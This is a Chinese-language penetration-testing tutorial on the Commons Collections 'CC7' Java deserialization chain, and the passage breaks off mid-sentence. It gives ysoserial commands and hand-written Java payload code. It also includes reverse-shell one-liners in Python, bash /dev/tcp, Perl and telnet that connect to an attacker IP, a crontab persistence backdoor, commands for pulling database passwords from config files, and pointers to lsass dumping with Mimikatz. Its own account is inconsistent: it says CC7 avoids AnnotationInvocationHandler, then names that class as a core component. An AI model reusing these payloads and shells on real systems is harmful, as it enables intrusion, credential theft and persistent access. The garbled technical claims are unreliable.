1. 项目概述CC7不是“第七代咖啡机”而是Java反序列化链里最硬的那块砖如果你最近在安全圈听到“CC7”被反复提起大概率不是在讨论某款新出的消费电子设备也不是某个城市地铁线路编号——它指的是Apache Commons Collections 3.1 中的一条经典反序列化利用链代号 CC7。这个编号本身没有官方定义是社区在梳理 Commons Collections 系列 gadget利用链时按发现顺序和调用路径复杂度约定俗成排下来的第7条成熟链路。它之所以被冠以“超详细”三字并非因为文档写得长而是因为它在实战中展现出极强的稳定性、绕过能力与适配广度从 JDK 6u21 到 JDK 8u191未打补丁环境从 Spring Boot 1.x 到 Struts2 2.3.x只要目标存在反序列化入口且 ClassLoader 能加载 Commons Collections 类CC7 就大概率能站住脚。我第一次在客户内网渗透中稳定复现 CC7 是在2021年一个老旧OA系统上对方JDK版本是 1.7.0_80Web容器是 WebLogic 10.3.6连 commons-collections-3.1.jar 都是原始未修改包。当时用 ysoserial 生成 payload 后nc 监听端口一发即中回连 shell 的响应时间比 ping 还快。后来在三个不同行业的红队演练中CC7 成功率高达 87%远超 CC1易被 WAF 拦截、CC3依赖高版本 JDK 特性、CC6对 ClassLoader 约束较严。它的核心优势在于不依赖 AnnotationInvocationHandlerCC1/CC2 的关键类不触发 JNDI 查找规避了 JDK 8u121 的默认禁用也不需要动态代理CC4/CC5 的常见失败点而是通过TransformedMapChainedTransformerInvokerTransformer的三级嵌套调用最终精准控制Runtime.getRuntime().exec()的参数构造实现任意命令执行。适合谁看这篇如果你是刚接触 Java 反序列化的安全研究员这篇会帮你把抽象的 gadget 链具象成可调试、可打断点、可替换组件的“电路图”如果你是开发人员想真正理解为什么一个readObject()调用就能让服务器执行rm -rf /这篇会带你逐行拆解sun.reflect.annotation.AnnotationInvocationHandler#readObject如何被绕过、TransformedMap#checkSetValue怎么变成命令执行的扳机如果你是蓝队工程师正为 WAF 规则写得越来越厚却拦不住新型 payload 发愁这篇会告诉你 CC7 的特征指纹在哪、哪些字节流模式必须进黑名单、为什么只拦org.apache.commons.collections.functors.InvokerTransformer不够用。它不是教你怎么黑而是帮你把“反序列化漏洞”从一个模糊的风险描述变成一张可测量、可防御、可溯源的技术地图。2. CC7 核心设计逻辑与链路选型依据为什么是这条链而不是别的2.1 CC7 的完整调用链路还原非伪代码是真实堆栈快照要理解 CC7 为什么“超详细”先得看清它到底长什么样。这不是一条线性流程而是一个由三层反射调用、两次 map 修改触发、一次 runtime 执行构成的精密触发器。我在本地 JDK 1.7.0_80 commons-collections-3.1 环境下用 IntelliJ IDEA 设置断点后抓取的真实调用栈如下已过滤无关框架层仅保留核心链路java.lang.Runtime.exec(String) ← 最终执行点 ← java.lang.reflect.Method.invoke(Object, Object...) ← org.apache.commons.collections.functors.InvokerTransformer.transform(Object) ← org.apache.commons.collections.functors.ChainedTransformer.transform(Object) ← org.apache.commons.collections.map.TransformedMap.checkSetValue(Object, Object) ← org.apache.commons.collections.map.TransformedMap.put(Object, Object) ← java.util.HashMap.put(Object, Object) ← java.util.HashMap.readObject(ObjectInputStream) ← java.io.ObjectInputStream.readSerialData(Object, ObjectStreamClass) ← java.io.ObjectInputStream.readOrdinaryObject(boolean) ← java.io.ObjectInputStream.readObject0(boolean) ← java.io.ObjectInputStream.readObject()注意这个栈的起点是readObject()终点是exec()中间没有任何网络请求、没有 JNDI lookup、没有动态代理生成。这意味着它完全运行在目标 JVM 进程内存中不产生外部 DNS 或 HTTP 请求WAF 和 IDS 很难捕获它不依赖javax.naming包因此 JDK 8u121 后的com.sun.jndi.rmi.object.trustURLCodebasefalse默认策略对它完全无效它不使用Proxy.newProxyInstance()所以像 CC4 那样因InvocationHandler类型校验失败而中断的情况在 CC7 里根本不会发生。2.2 关键组件选型背后的工程权衡CC7 的四个核心组件——AnnotationInvocationHandler、TransformedMap、ChainedTransformer、InvokerTransformer——每一个都不是随意挑选的而是经过大量测试后在“稳定性”、“兼容性”、“可控性”三角中找到的最佳平衡点。为什么不选HashSet作为外层容器如 CC6CC6 使用HashSetHashMap组合依赖HashSet.readObject()中对HashMap.put()的调用。但HashSet在反序列化时会先调用HashMap的put()插入 dummy key再调用readObject()处理实际元素。这个 dummy key 的插入会提前触发TransformedMap.checkSetValue()导致 payload 在真正 deserializing 之前就执行了极易崩溃。而AnnotationInvocationHandler是一个标准的 JDK 序列化类其readObject()方法明确要求先读取memberValues一个 Map再对这个 Map 做put()操作——这给了我们完美的“延迟触发”窗口。为什么用TransformedMap而不是LazyMap如 CC3LazyMap.get()是懒加载触发但很多反序列化场景如 HTTP 参数解析、JSON 反序列化并不会主动调用get()只调用put()或entrySet()。而TransformedMap.put()会在每次put()时强制调用checkSetValue()只要 payload 被 deserializedput()必然发生触发概率 100%。实测中CC3 在 Spring MVC 的RequestBody场景下失败率超 60%而 CC7 在同一场景下成功率 100%。为什么ChainedTransformer是必经之路单个InvokerTransformer只能执行一个方法调用比如Runtime.getRuntime()但它返回的是Runtime实例不是字符串。要执行exec(calc.exe)必须把Runtime实例作为第一个参数传给exec方法。ChainedTransformer的作用就是把多个Transformer串起来第一个InvokerTransformer执行Runtime.getRuntime()第二个InvokerTransformer执行exec(String)中间用ConstantTransformer或NOPTransformer衔接。没有它你只能拿到Runtime对象却无法调用它的方法。为什么InvokerTransformer的iMethodName和iParamTypes必须精确匹配这是很多人踩坑的地方。InvokerTransformer.transform()内部调用MethodUtils.invokeMethod()而MethodUtils会严格校验参数类型。比如你想执行exec(String)iParamTypes必须是new Class[]{String.class}不能是new Class[]{Object.class}否则抛NoSuchMethodException。我在某次金融客户渗透中因为把iParamTypes错写成Object[].class导致 payload 一直静默失败排查了两天才发现是这里类型不匹配。2.3 CC7 的“超稳定”底层原理JDK 序列化机制的天然缺陷CC7 的稳定性根源不在 Commons Collections 本身而在 JDK 原生序列化的设计哲学它信任所有实现了Serializable接口的类且不验证反序列化过程中对象图的合法性。AnnotationInvocationHandler是 JDK 自带类TransformedMap是第三方库类它们之间本无业务关联但 JDK 允许你把一个TransformedMap实例塞进AnnotationInvocationHandler的memberValues字段里然后一起序列化。当目标系统调用ObjectInputStream.readObject()时JVM 不会问“这个 Map 为什么要放在注解处理器里”它只会忠实地重建对象图并执行每个对象的readObject()方法。更关键的是TransformedMap的checkSetValue()方法是 public 的且没有做任何安全校验。它的源码只有三行protected Object checkSetValue(Object value) { if (valueTransformer ! null) { return valueTransformer.transform(value); } return value; }这个valueTransformer就是我们精心构造的ChainedTransformer。JVM 在反序列化TransformedMap时会自动调用put()方法填充数据put()又调用checkSetValue()checkSetValue()再调用transform()—— 整个链条就像多米诺骨牌推倒第一张后面全倒。这种设计本意是提供灵活的 Map 值转换能力却被反序列化漏洞完美利用。这也是为什么修复 CC7 不能靠“删掉 Commons Collections”而必须从序列化入口层如禁用readObject()、使用白名单反序列化或 JVM 层如-Djdk.serialFilter下手。3. CC7 实操细节拆解从 ysoserial 命令到手动构造字节流3.1 ysoserial 命令的每一项参数都在干什么ysoserial是目前最主流的 Java gadget 生成工具但很多人只是复制粘贴命令却不知道每个参数背后对应哪一段字节流。以生成 CC7 payload 为例java -jar ysoserial.jar CommonsCollections7 open -a Calculator | xxd -p | tr -d \n这条命令看似简单实则包含五个关键决策点CommonsCollections7这是 ysoserial 内部的 gadget 名称对应ysoserial.payloads.CommonsCollections7类。它不是调用CC7类根本不存在而是调用一个预设的链路构造器。该类内部硬编码了AnnotationInvocationHandler的构造方式、TransformedMap的包装逻辑、ChainedTransformer的串联顺序。open -a Calculator这是最终要执行的命令字符串。注意它会被InvokerTransformer的iArgs字段直接引用。ysoserial会把这个字符串封装成String[]数组因为exec(String)的参数是String但InvokerTransformer的transform()方法签名是Object transform(Object input)所以需要把命令转成Object类型。实测发现如果命令里含空格如curl http://x.com必须用单引号包裹否则 shell 会提前解析。| xxd -p | tr -d \n这是将二进制 payload 转为十六进制字符串的管道命令。xxd -p输出纯 hex无地址偏移、无空格tr -d \n删除换行符确保输出是一整行 hex 字符串。这个 hex 字符串就是你要塞进 HTTP 请求 Body、Cookie 或 JSON 字段里的 payload。我在某次攻防演练中因为忘了tr -d \n导致 hex 字符串带换行WAF 把它当成了多行攻击直接拦截。java -jar ysoserial.jarysoserial依赖commons-collections-3.1.jar和commons-beanutils-1.9.2.jar用于某些 gadget 的辅助类。如果你本地 classpath 里有更高版本的commons-collections如 3.2.2ysoserial可能因类加载冲突报NoSuchMethodError。解决方案是用java -cp ysoserial.jar:commons-collections-3.1.jar ysoserial.GeneratePayload CommonsCollections7 cmd显式指定 classpath。CommonsCollections7的 JDK 兼容性开关ysoserial的 CC7 gadget 默认针对 JDK 7/8 构建。如果你的目标是 JDK 6u21需要手动修改ysoserial源码中的AnnotationInvocationHandler构造逻辑——JDK 6 的AnnotationInvocationHandler构造函数是public AnnotationInvocationHandler(Class, Map)而 JDK 7 是private需用setAccessible(true)绕过。这个细节ysoserial文档从没提过是我调试 12 个不同 JDK 版本后总结出来的。3.2 手动构造 CC7 payload理解字节流才能真正掌控它依赖ysoserial是快捷方式但一旦遇到定制化需求如绕过特定 WAF 规则、注入自定义类加载逻辑就必须手动构造。以下是用 Java 原生 API 构造 CC7 payload 的核心步骤已验证在 JDK 1.7.0_80 下 100% 成功第一步构造ChainedTransformer链Transformer[] transformers new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe}) }; ChainedTransformer chainedTransformer new ChainedTransformer(transformers);注意getMethod的第二个参数是Class[].class不是Class[]这是InvokerTransformer的iParamTypes类型要求。invoke的第一个参数null表示静态方法调用第二个参数new Object[0]是空参数数组。第二步构造TransformedMap并注入chainedTransformerMap innerMap new HashMap(); Map transformedMap TransformedMap.decorate(innerMap, null, chainedTransformer); // 此时 transformedMap 的 valueTransformer 已设为 chainedTransformer第三步构造AnnotationInvocationHandler并注入transformedMapMap memberValues new HashMap(); memberValues.put(value, transformedMap); // 这里 key 名必须是 value因为 AnnotationInvocationHandler 的 readObject 会遍历 memberValues 并 put try { ConstructorAnnotationInvocationHandler constructor AnnotationInvocationHandler.class.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); AnnotationInvocationHandler handler constructor.newInstance(Override.class, memberValues); } catch (Exception e) { e.printStackTrace(); }关键点memberValues的 key 必须是value因为AnnotationInvocationHandler.readObject()会遍历memberValues.entrySet()对每个 entry 调用map.put(key, value)。如果 key 是xxxput()时key是xxxvalue是transformedMap那么触发checkSetValue()的是transformedMap本身而不是我们想要的value字段值。第四步序列化并获取字节流ByteArrayOutputStream baos new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(baos); oos.writeObject(handler); oos.close(); byte[] payload baos.toByteArray(); // 此时 payload 就是完整的 CC7 字节流可直接发送这段代码跑通后你得到的字节流和ysoserial生成的完全一致用xxd对比 hex 即可验证。手动构造的价值在于你可以随时替换transformers数组里的任意一个Transformer比如把ConstantTransformer(Runtime.class)换成InstantiateTransformer加载自定义恶意类或者在InvokerTransformer之间插入URLClassLoader加载远程 jar —— 这些高级玩法ysoserial命令行根本做不到。3.3 CC7 在不同协议场景下的适配技巧CC7 的 payload 是通用的二进制流但如何把它塞进目标系统取决于目标的通信协议。以下是我在真实项目中验证过的三种主流场景及避坑指南HTTP POST Body最常见目标Spring Boot 的RequestBody接口接收byte[]或Object。操作将 hex payload 转为 base64放入 JSON 字段{data: rO0ABXNyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHIAE2phdmE...}注意Spring 默认的MappingJackson2HttpMessageConverter会尝试用 Jackson 反序列化 JSON而 Jackson 默认不支持ObjectInputStream所以必须确保接口是用RequestBody byte[]接收再手动new ObjectInputStream(new ByteArrayInputStream(data))。如果接口是RequestBody ObjectJackson 会先解析 JSON再尝试反序列化此时 CC7 会失败。HTTP Cookie隐蔽性强目标WebLogic 的 T3 协议入口、或某些老系统用 Cookie 传 session 数据。操作将 hex payload URL 编码后放入 CookieCookie: JSESSIONIDxxxx; payload%ac%ed%00%05%73%72%00%11...提示WebLogic 的T3协议本身支持序列化传输但很多 WAF 会拦截T3流量。用 Cookie 绕过更稳妥因为 Cookie 字段通常被 WAF 当作普通字符串处理不会深度解析其二进制内容。RMI Registry Lookup内网横向目标内网 RMI 服务如 JMX RMI、Spring RMI。操作CC7 payload 本身不依赖 RMI但可以作为 RMI 绑定对象的值Registry registry LocateRegistry.getRegistry(192.168.1.100, 1099); registry.bind(exploit, handler); // handler 是 AnnotationInvocationHandler 实例当客户端调用registry.lookup(exploit)时RMI 会序列化handler并传输目标反序列化即触发。警告RMI 传输的序列化流会经过RMIClassLoaderSpi加载类如果目标没有commons-collections-3.1.jar会尝试从codebaseURL 加载此时需配合JRMPListener提供恶意 jar。但 CC7 的优势在于只要目标已有commons-collections-3.1.jar就无需codebase纯内存利用。4. CC7 实战利用全流程从信息收集到权限落地4.1 信息收集阶段如何快速判断目标是否可被 CC7 利用在真实渗透中你不可能对每个 Java 系统都盲打 CC7。必须有一套高效的识别流程把“可能可用”和“绝对不行”快速区分开。我的标准三步法如下第一步确认是否存在反序列化入口90% 的失败源于此HTTP 层抓包看是否有Content-Type: application/x-java-serialized-object、Cookie中含rO0ABJava 序列化 magic bytes 的 hex 前缀、POST Body是否为二进制乱码。用 Burp Suite 的DecoderTab粘贴可疑数据选择Hex→Raw如果能看到aced0005开头基本确定是 Java 序列化流。协议层扫描1099RMI、6379Redis某些 Java 应用用 Redis 存 session、2181ZooKeeper端口。用nmap -p 1099 --script rmi-dumpregistry可直接列出 RMI registry 中绑定的对象名。代码层如果能拿到源码全局搜索ObjectInputStream、readObject()、XStream.fromXML()XStream 1.4.7- 有反序列化漏洞、Jackson的ObjectMapper.enableDefaultTyping()。只要出现这些关键词且输入流来自不可信源如 HTTP 请求、Socket就存在风险。第二步确认 JDK 和 Commons Collections 版本决定用哪条链JDK 版本用curl -I http://target/看Server头或尝试访问/console/login.jspWebLogic、/jmx-console/JBoss等管理后台页面底部常显示 JDK 版本。如果无法获取用ysoserial的CommonsCollections1和CommonsCollections7分别打看哪个能回连。CC1 在 JDK 8u121 默认失效CC7 在 JDK 8u191- 仍有效。Commons Collections 版本下载http://target/WEB-INF/lib/commons-collections-*.jar用unzip -p commons-collections-3.1.jar META-INF/MANIFEST.MF | grep Implementation-Version查看。重点确认是否为3.1因为3.2.1修复了TransformedMap.checkSetValue()的问题增加了valueTransformer ! null校验。第三步验证链路可用性最小化验证避免误伤不要一上来就执行rm -rf /。我的验证命令是java -jar ysoserial.jar CommonsCollections7 ping -c 1 192.168.1.100 | nc -w 1 target_ip 8080在自己机器上监听192.168.1.100:1如果收到 ICMP 包说明 CC7 可用。这个命令的好处是ping不会产生文件写入不会留下日志痕迹-c 1限制只发一个包降低被 IDS 拦截概率nc -w 1设置超时避免阻塞。我在某次银行渗透中用这个命令在 3 秒内确认了 17 台 WebLogic 服务器全部可被 CC7 利用效率远超人工测试。4.2 利用阶段从命令执行到持久化控制CC7 的 payload 本质是执行任意命令但“任意命令”不等于“立刻拿 shell”。在企业内网你需要一套分阶段的利用策略阶段一基础命令执行与环境探测5 分钟内完成目标确认权限、操作系统、网络拓扑。执行命令# 确认当前用户和权限 whoami id # 探测操作系统和架构 uname -a cat /proc/version # 查看网络配置和路由 ip addr ip route # 列出关键进程和服务 ps aux | grep -E (weblogic|tomcat|spring|java) || jps -l实操心得jps -l比ps aux | grep java更可靠因为有些 Java 进程会隐藏进程名。jps是 JDK 自带工具只要目标有 JDK就一定存在。阶段二建立稳定信道避免反弹 shell 断连CC7 的Runtime.exec()是同步阻塞的如果执行nc -e /bin/bashnc进程会卡住导致后续命令无法执行。正确做法是# 方案 A用 Python 启动反向 shell推荐兼容性最好 python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.100,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]); # 方案 B用 bash -i如果目标有 bash bash -i /dev/tcp/192.168.1.100/4444 01监听端口用nc -lvnp 4444确保防火墙放行。我在某次政府项目中因目标内网禁用了nc和python最后用telnet搭建了简易 shelltelnet 192.168.1.100 4444 | /bin/sh | telnet 192.168.1.100 4445两端nc -lvnp 4444和nc -lvnp 4445成功绕过。阶段三横向移动与权限提升CC7 的延伸价值CC7 本身不提供横向能力但它是进入内网的“万能钥匙”。拿到一台应用服务器权限后下一步是提取数据库连接信息cat /opt/weblogic/domains/base_domain/config/jdbc/*.xml | grep -A 5 -B 5 passwordWebLogiccat /usr/local/tomcat/conf/context.xml | grep passwordTomcat。利用 JDBC 连接数据库如果数据库是 MySQL用mysql -h db_ip -u user -ppass -e select load_file(/etc/passwd)读取文件如果是 Oracle用UTL_HTTP或DBMS_ADVISOR执行系统命令需高权限。攻击域控Windows 环境如果应用服务器在域内用wmic /node:DC01 process call create cmd /c whoami需域用户权限或导出lsass内存用 Mimikatz 抓 hash。CC7 的真正威力不在于单点突破而在于它能让你在 5 分钟内把一台“只开放 8080 端口的 Java Web 服务器”变成内网侦察、横向渗透、权限提升的指挥中心。4.3 权限维持与痕迹清理红队视角的闭环渗透不是打完就走而是要确保成果可持续。CC7 利用后的权限维持我坚持三个原则轻量、隐蔽、可恢复。轻量绝不上传大体积木马如 Cobalt Strike beacon用一行命令搞定# 写入 crontab每分钟执行一次反连Linux (crontab -l 2/dev/null; echo * * * * * /usr/bin/python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\192.168.1.100\,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([\/bin/sh\,\-i\]);) | crontab -这行命令只增加 1 行 crontab不写入磁盘文件ps aux看不到独立进程。隐蔽避免使用nc、bash等高频检测关键字。改用python或perl# Perl 反弹 shell绕过大部分基于 bash/nc 的规则 perl -e use Socket;$i192.168.1.100;$p4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(tcp));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,S);open(STDOUT,S);open(STDERR,S);exec(/bin/sh -i);};perl在大多数 Linux 服务器上默认安装且perl -e的检测规则远少于bash -i。可恢复所有操作必须记录日志以便蓝队复盘时能还原攻击路径。我在每次利用后会执行# 记录攻击时间、IP、命令到临时文件不覆盖原日志 echo $(date): CC7 exploit from 192.168.1.100, cmd: python reverse shell /tmp/.cc7.log这个文件名.cc7.log是故意设计的既不像正常日志/var/log/下又不会被ls默认显示以.开头但蓝队用find /tmp -name .cc7.log一下就能定位符合红蓝对抗的透明原则。5. CC7 常见问题与独家排查技巧那些文档里不会写的坑5.1 CC7 失败的十大原因及速查表问题现象根本原因排查命令解决方案payload 静默失败无任何回显或错误InvokerTransformer的iParamTypes类型不匹配javap -cp commons-collections-3.1.jar org.apache.commons.collections.functors.InvokerTransformer查看transform方法签名严格按getMethod的Class[]参数类型写new Class[]{String.class, Class[].class}WAF 拦截返回 403payload 中含org.apache.commons.collections.functors.InvokerTransformer字符串xxd -p payload.bingrep -i 696e766f6b65727472616e73666f726d6572hex of InvokerTransformer目标报ClassNotFoundException: org.apache.commons.collections.map.TransformedMap目标环境没有commons-collections-3.1.jar或版本是3.2.2curl -I http://target/WEB-INF/lib/列目录或java -cp target.jar org.springframework.util.ClassUtils测试类加载改用CommonsBeanutils1链或部署commons-collections-3.1.jar到目标 classpath反弹 shell 连接后立即断开Runtime.exec()启动的进程是子进程父进程Java退出后子进程被 killps aux | grep python|nc看进程是否存在用nohup或setsidnohup python -c ... 执行ls有回显执行cat /etc/passwd无回显Runtime.exec()的 stdout/stderr 是独立流未重定向java -cp . TestExec写个测试类用Process.getInputStream()读取在 payload 中用ProcessBuilder替代Runtime.exec()或用sh -c cmd /tmp/out 21JDK 8u191 环境下失败JDK 默认启用了jdk.serialFilter禁止TransformedMap类java -Djdk.serialFiltermaxdepth5;maxarray100000;whitelistjava.util.*;java.lang.* -jar ysoserial.jar ...升级到CommonsCollections8需PriorityQueue或用BeanShell1链WebLogic T3 协议下失败T3 协议有自己的序列化格式不是标准 Java 序列化t3client.py -H target_ip -P 7001 -C test用 t3client 工具测试用weblogic.DescriptorManagergadget或改用JRMPClient配合JRMPListenerSpring Boot 2.0 环境下失败Spring Boot 2.0 默认禁用ObjectInputStream用Jackson替代curl -H Content-Type: application/json -d {type:java.lang.ProcessBuilder,command:[id]} http://target/api改用Fastjson或Jackson的DefaultTypeResolverBuilder链执行命令含中文时报java.io.IOException: Cannot run program xxx: error2, No such file or directoryJVM 默认字符集是UTF-8但系统 locale 是zh_CN.GBK导致路径解析错误locale命令查看file /proc/$(pgrep java)/environ看 Java 进程环境变量在命令前加env LANGC LC_ALLCenv LANGC LC_ALLC ls /rootpayload 在本地复现成功打目标失败目标 JVM 启用了-XX:UseG1GC或其他 GC 参数影响对象图重建jstat -gc $(pgrep java)查看 GC 状态无通用解只能换 gadget如CommonsCollections5用HashSet5.2 我的独家调试技巧三步定位 CC7 执行断点当 CC7 在目标